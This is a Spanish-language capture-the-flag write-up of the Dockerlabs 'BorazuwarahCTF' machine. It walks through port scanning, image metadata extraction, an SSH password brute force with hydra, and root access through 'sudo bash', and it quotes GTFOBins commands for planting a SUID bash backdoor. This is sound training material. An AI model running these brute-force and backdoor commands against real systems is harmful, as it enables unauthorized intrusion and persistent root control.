

Write-Up: Máquina "BorazuwarahCTF"

 Plataforma: Dockerlabs

 Dificultad: Muy fácil

 Autor: Joaquín Picazo

Metodología de Pentesting

El proceso se realizó siguiendo la siguiente metodología:

- 1 **Reconocimiento** – Recolección de información general sobre la máquina objetivo.
 - 2 **Escaneo y Enumeración** – Identificación de servicios, tecnologías y versiones en uso.
 - 3 **Explotación** – Uso de vulnerabilidades encontradas para obtener acceso al sistema.
 - 4 **Escalada de Privilegios y Post-Explotación** – Obtención de permisos elevados hasta lograr acceso total para realizar una extracción de información.
-

1. Reconocimiento y Recolección de Información

Hacer un escaneo general solo para saber que puertos están abiertos.

```
(root@kali)-[/home/cypher/borazuwarahctf]
# nmap -vvv -p- --open 172.17.0.2
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-22 20:19 -03
Initiating ARP Ping Scan at 20:19
Scanning 172.17.0.2 [1 port]
Completed ARP Ping Scan at 20:19, 0.13s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 20:19
Completed Parallel DNS resolution of 1 host. at 20:19, 0.02s elapsed
DNS resolution of 1 IPs took 0.02s. Mode: Async [#: 2, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 20:19
Scanning 172.17.0.2 [65535 ports]
Discovered open port 22/tcp on 172.17.0.2
Discovered open port 80/tcp on 172.17.0.2
Completed SYN Stealth Scan at 20:20, 3.62s elapsed (65535 total ports)
Nmap scan report for 172.17.0.2
Host is up, received arp-response (0.000032s latency).
Scanned at 2025-03-22 20:19:57 -03 for 4s
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE REASON
22/tcp    open  ssh      syn-ack ttl 64
80/tcp    open  http     syn-ack ttl 64
MAC Address: 02:42:AC:11:00:02 (Unknown)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 4.13 seconds
Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)
```

2. Escaneo y Enumeración


Ya sabiendo los puertos abiertos, se hace un escaneo más profundo específicamente en esos puertos para obtener versiones y servicios.

```
(root@kali)-[/home/cypher/borazuwarahctf]
# nmap -vvv -p 22,80 -sV -sC 172.17.0.2
```

```
PORT      STATE SERVICE REASON          VERSION
22/tcp    open  ssh      syn-ack ttl 64    OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
|_ ssh-hostkey:
|_ 256 3d:fd:d7:c8:17:97:f5:12:b1:f5:11:7d:af:88:06:fe (ECDSA)
|_ ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBB8DuOdJLZN+CNU+7dcTJQbPr6zY2+Ou1YFR0w9Pan1DfaPUZLjRH3cNmvSncrhzQ3HOAHfMwWvSzN+ZMC0YmWoA=
|_ 256 43:b3:ba:a9:32:c9:01:43:ee:62:d0:11:12:1d:5d:17 (ED25519)
|_ ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGDv2JqKvBCR+Badmkr7YKPyPEYShuCXxzM5+YdozyBD
80/tcp    open  http     syn-ack ttl 64    Apache httpd 2.4.59 ((Debian))
|_ http-methods:
|_ Supported Methods: OPTIONS HEAD GET POST
|_ http-server-header: Apache/2.4.59 (Debian)
|_ http-title: Site doesn't have a title (text/html).
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Busco directorios con Dirbuster. Sin embargo, no encontré nada interesante.

The screenshot shows the OWASP DirBuster 1.0-RC1 - Web Application Brute Forcing application window. The interface includes a menu bar (File, Options, About, Help) and a main configuration area. The 'Target URL' field is set to 'http://172.17.0.2/'. Under 'Work Method', 'Auto Switch (HEAD and GET)' is selected. 'Number Of Threads' is set to 70. 'Select scanning type' has 'List based brute force' selected. The 'File with list of dirs/files' field contains '/usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt', with 'Browse' and 'List Info' buttons. 'Char set' is 'a-zA-Z0-9%20-_', 'Min length' is 1, and 'Max Length' is 8. Under 'Select starting options', 'Standard start point' is selected. 'Brute Force Dirs' and 'Be Recursive' are checked, with 'Dir to start with' set to '/'. 'Brute Force Files' is checked, 'Use Blank Extension' is unchecked, and 'File extension' is 'php'. The 'URL to fuzz' field contains '/test.html?url={dir}.asp'. At the bottom, there are 'Exit' and 'Start' buttons.

OWASP DirBuster 1.0-RC1 - Web Application Brute Forcing			
File Options About Help			
http://172.17.0.2:80/			
Scan Information \ Results - List View: Dirs: 3 Files: 0 \ Results - Tree View \  Errors: 0 \			
Type	Found ▾	Response	Size
Dir	/server-status/	403	445
Dir	/server-status/	403	445
Dir	/icons/small/	403	445
Dir	/icons/small/	403	445
Dir	/icons/	403	445

Al abrir la web que se encuentra en su puerto 80, hay una imagen. Se puede descargar para verificar si tiene archivos ocultos en ella o información importante en sus metadatos.



🌟 3. Explotación de Vulnerabilidades

Uso steghide para encontrar archivos ocultos dentro de la imagen. Sin embargo, no hay nada interesante.

```
(root@kali)-[/home/cypher/borazuwarahctf]
# steghide extract -sf imagen.jpeg
Anotar salvoconducto:
anot♦ los datos extra♦dos e/"secreto.txt".

(root@kali)-[/home/cypher/borazuwarahctf]
# cat secreto.txt
Sigue buscando, aquí no está to solución
aunque te dejo una pista....
sigue buscando en la imagen!!!
```

Ahora, utilizo la herramienta exiftool para ver información en sus metadatos. Se logra obtener un nombre de usuario, pero no se otorga ninguna contraseña. Esto podría ser un usuario para ingresar por vía SSH.

```
(root@kali)-[/home/cypher/borazuwarahctf]
# exiftool imagen.jpeg
ExifTool Version Number      : 13.00
File Name                    : imagen.jpeg
Directory                    : .
File Size                    : 19 kB
File Modification Date/Time  : 2025:03:22 20:38:12-03:00
File Access Date/Time       : 2025:03:22 20:38:23-03:00
File Inode Change Date/Time  : 2025:03:22 20:38:12-03:00
File Permissions             : -rw-rw-r--
File Type                    : JPEG
File Type Extension         : jpg
MIME Type                    : image/jpeg
JFIF Version                 : 1.01
Resolution Unit              : None
X Resolution                 : 1
Y Resolution                 : 1
XMP Toolkit                  : Image::ExifTool 12.76
Description                  : _____ User: borazuwarah _____
Title                       : _____ Password: _____
Image Width                  : 455
Image Height                 : 455
Encoding Process             : Baseline DCT, Huffman coding
Bits Per Sample              : 8
Color Components             : 3
Y Cb Cr Sub Sampling         : YCbCr4:2:0 (2 2)
Image Size                   : 455x455
Megapixels                   : 0.207
```

Como sólo se tiene un usuario, pero ninguna contraseña. Se debe aplicar fuerza bruta a su servicio SSH. Se utilizará hydra.

```
(root@kali)~[/home/cypher/borazuwarahctf]
# hydra -l borazuwarah -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.2

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-03-22 20:39:39
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:l/p:14344399), ~896525 tries per task
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2 login: borazuwarah password: 123456
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 1 final worker threads did not complete until end.
[ERROR] 1 target did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-03-22 20:39:58
```

Como se puede ver, se encontró una contraseña. Ahora se prueba acceso.

```
(root@kali)~[/home/cypher/borazuwarahctf]
# ssh borazuwarah@172.17.0.2
The authenticity of host '172.17.0.2 (172.17.0.2)' can't be established.
ED25519 key fingerprint is SHA256:04plroi1VxgJcCkT8eG0qxAP8LkcGMNNNg1H/7HISvg.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.17.0.2' (ED25519) to the list of known hosts.
borazuwarah@172.17.0.2's password:
Linux d5150a80d48b 6.12.13-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.12.13-1kali1 (2025-02-11) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
borazuwarah@d5150a80d48b:~$ whoami
borazuwarah
```

Acceso exitoso.

4. Escalada de Privilegios y Post-explotación

Primero, verificar si hay alguna forma de escalar privilegios con “sudo -l”. Y efectivamente hay un archivo que me podría ayudar a escalar privilegios.

```
borazuwarah@d5150a80d48b:~$ sudo -l
Matching Defaults entries for borazuwarah on d5150a80d48b:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User borazuwarah may run the following commands on d5150a80d48b:
    (ALL : ALL) ALL
    (ALL) NOPASSWD: /bin/bash
```

En [GTFOBins](#) busco el archivo encontrado para verificar si hay alguna forma de explotarlo para escalar privilegios. Y efectivamente, si la hay.



```
bash -c 'enable -f ./lib.so x'
```

SUID

If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system, escalate or maintain privileged access as a SUID backdoor. If it is used to run `sh -p`, omit the `-p` argument on systems like Debian (\leq Stretch) that allow the default `sh` shell to run with SUID privileges.

This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.

```
sudo install -m =xs $(which bash) .  
./bash -p
```

Sudo

If the binary is allowed to run as superuser by `sudo`, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

```
sudo bash
```

Ingresé el comando de [GTFOBins](#), y se logró acceso a root.

```
borazuwarah@d5150a80d48b:~$ sudo bash  
root@d5150a80d48b:/home/borazuwarah# whoami  
root
```

Banderas y Resultados

- ✓ **Usuario:** Se obtuvo acceso como usuario no privilegiado.
- ✓ **Root:** Se logró escalar privilegios hasta obtener control total del sistema.